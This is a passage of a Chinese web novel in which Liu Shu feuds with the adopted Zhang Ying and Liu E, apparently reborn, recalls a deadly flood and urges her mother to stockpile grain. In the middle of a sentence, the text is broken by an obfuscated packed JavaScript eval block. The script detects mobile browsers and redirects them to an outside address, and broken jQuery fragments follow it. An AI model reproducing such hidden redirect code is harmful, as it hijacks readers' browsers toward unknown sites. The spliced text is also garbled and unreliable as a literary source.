院墙藤萝掩映,墙角一株树干盘遒弯曲的枣树,树皮灰褐,纵裂很深。
刘姝在院子里踢毽子玩,脚下力道没收住,毽子飞了出去,凌空划过一道弧线,正好卡在两根树杈之间,严严实实的,用石头砸,用树枝捅,怎么也弄不下来。
刘姝眼珠转了一圈,见荼蘼架下路过一道熟悉的身影,心里顿时有了主意。
“喂,你过来。”刘姝叉着腰,吆五喝六地。
张英停住脚步,懒洋洋掀起眼皮来,斜着眼觑她,“作什么?”
“你个子高,爬上去帮我把毽子拿下来。”
张英顺着手指的方向望去,又漫不经心地回眸瞥她,眼神又轻又淡,却气势压人。
分明没长她几岁,那双墨色莹润的眼总含戏谑似的,把她当傻子一般。
刘姝忍着没有拉下脸来,咧着嘴粲然一笑,“放心,等你拿下来,自然有你的好处。”
一个乡下人,出身低,见识也浅薄,他能懂什么,几句话就能诓得晕头转向。
刘姝不禁自鸣得意,浑然未觉自己高兴过了头,脸上显出一副看好戏的神情。
张英扬眉,似笑非笑地觑着她。
几块糕饼就想把他收买了,真当他是府里新招进来的下人吗?
随意编了个借口,也不去看她的脸色,施施然转身离去。
刘姝气得要跳脚,转头就跑来跟刘娥诉苦。
一面走来走去,口中振振有辞道:“这个张英肯定是个冒牌货,真正的张英说不定早就死了,也许是被洪水冲走了,又或者路遇歹人一刀毙了命。”
刘娥还在跟丫鬟们玩花绳,丝线在手里翻飞着,嘴上心不在焉地敷衍了几句。
“脾气差点,不爱说话,也是正常的,你要多包容他。”
“可是他看起来不像…”刘姝咬着唇,到底没说出后半句话来。
说不上哪里怪,也许是看人的眼神,又或者举手投足间的气质,总之不像个乡下人。
祖母五十大寿的时候,府上接待过几个远方亲戚,不过是田庄里的佃农和村里的绣娘。
动作粗俗,一点都不文雅,胆子也懦弱,唯唯诺诺地站在祖母身前,问什么只管低下头抿着嘴笑,最后临要走了却狮子大开口,非得找祖母讨要过路的银两。
祖母封了好几个红包才把他们打发走。
父亲母亲旁观此事,面上仍客客气气的,暗地里耻笑他们势利愚昧,叮嘱刘姝少跟这种人来往,免得惹祸上身。
张英大概也是这类人,分明高攀了刘府的门楣,一朝麻雀变凤凰,仍不知感恩戴德。
总拿捏着高门公子的做派,和他几次言语交锋都落了下乘,刘姝有些懊恼,事后回想起来,当真是奇耻大辱。
她不说话了,低头瞧着青绿裙摆上,伏着的几只蝴蝶,或舞或歇,栩栩如生。
身旁忽然就安静了。
刘娥放下花绳,转头看着她愁眉苦脸,哭笑不得,“他哪里又惹你了?”
刘姝有些不悦,这话听着好像是她蛮不讲理,故意去招惹张英一样。
她望着天,怅惘地轻叹,“府里已经有了大哥哥和二哥哥,为何还要再收养一个毫不相干的人。”
刘嘉桢已经够讨厌的了。
哪知张英比他还令人厌烦,总是一副少年老成的模样,动辄冷面冷眼,偏偏举止周全、言语熨贴,令人无从挑错。
“不是要取毽子么。”
被刘娥一打岔,那点微不足道的愁绪,顷刻间烟消云散。
和她在木梯左右两侧扶着,碧萝踩着梯磴上去,嘴里嘀咕了句:“这枣树居然开花了。”
今年雨水格外充沛,几场骤雨、短暴雨,一阵一阵的,至五月上旬,又出了好几日太阳,天气变得燥热起来,院子里枣树都催得开了密密麻麻的枣花,翠绿的嫩叶里夹杂着星星点点的浅黄。
这并不是什么好事。
刘娥记得上一世,也有一年,天气十分反常,时晴时雨,时涝时旱,就连田地里种庄稼的农户都直呼怪糟。
果不其然,七八月的伏汛一至,雨水淅淅沥沥下个没完,洪水泛滥,坝口决堤,沿途的屋舍庄稼都被无情吞噬。
余姚是长江汇入东海的必经之地,地势平坦,一马平川,因此受到灾害的影响最为严重,死伤无数,灾民遍野,大片土地都沦为水泱泽国。
她随母亲去高处避险,正是夜半之时,下着暴雨,雾惨云昏,天地无光,只听轰隆一声巨响,银蛇穿梭于紫云之中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729923|208928||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,照亮磅礴河道里的惨状。
房屋冲垮,禾田稻苗荡然无存,家畜和百姓的尸体也漂浮在水面上,纵有幸存下来的人奔走逃散,惊慌的呼声也淹没在轰天雷鸣,施救难度极大,最终不是被流沙裹挟带走,就是抱着孤木断树绝望等死。
待洪水过境,露出底下的淤泥来,横七竖八的尸体不知几何,惨绝人寰,俨然一幅人间炼狱的图景。
刘娥不敢再回想。
如今天气古怪异常,终归不是什么好兆头,得早做打算以备不时之需。
她记得,刘家标船滞在渡口,好几箱绫罗绸缎都闲置在府上,与其任由蠹虫蛀噬,白白糟蹋了可惜,不如低价卖给成衣铺,折算的银两换成米粮,囤积在仓库中。
刘娥把这个想法告诉了母亲,周燕闻言脸上微微露出讶异。
她家里干的就是布衣生意,从小耳濡目染,布价几何一清二楚。低价倒卖扰乱市场不说,丢了信誉,岂不败坏刘家的名声。
何况大嫂操持中馈多年,管着府上的开支和那么多铺子,大大小小的事都是她说了算,自己也插不上嘴。
周燕指尖蹭了蹭女儿的脸,压低声音道:“囡囡,你老实告诉母亲,是谁教你说的这些话?”
刘娥知她敏感多思,忙解释道:“没有人教我,是我自己看了书后想到的。五六月梅雨连绵、上游山洪汇集,水位慢慢上涨,江水漫溢,倒灌城池。”
“若不能及时疏通,街巷积水则久久不退,生成一方新的堰塘。往几十年前数,江左一带爆发的大范围洪灾概因于此。
这些内容《水经注》、《元和郡县图志》都有记载,刘娥没什么好掩藏的。
周燕听得怔愣,心底涌现起惊奇,和几分宽慰,还有几缕复杂的情绪夹杂其中。
倘若刘娥是个男子就好了。
凭她的才华和好学,往后步入仕途,何愁没有建功立业、青史留名的机会。
自己也不至于受老夫人冷眼和旁人的指摘。
周燕摇了摇头,怜爱地摸了摸刘娥的脑袋,“余姚十几年未有水患,何况河堤加固过几次,坚不可摧,没什么好担忧的。”
眼下她烦心的是另外一桩事。
犹豫再三,还是决定找刘过商量。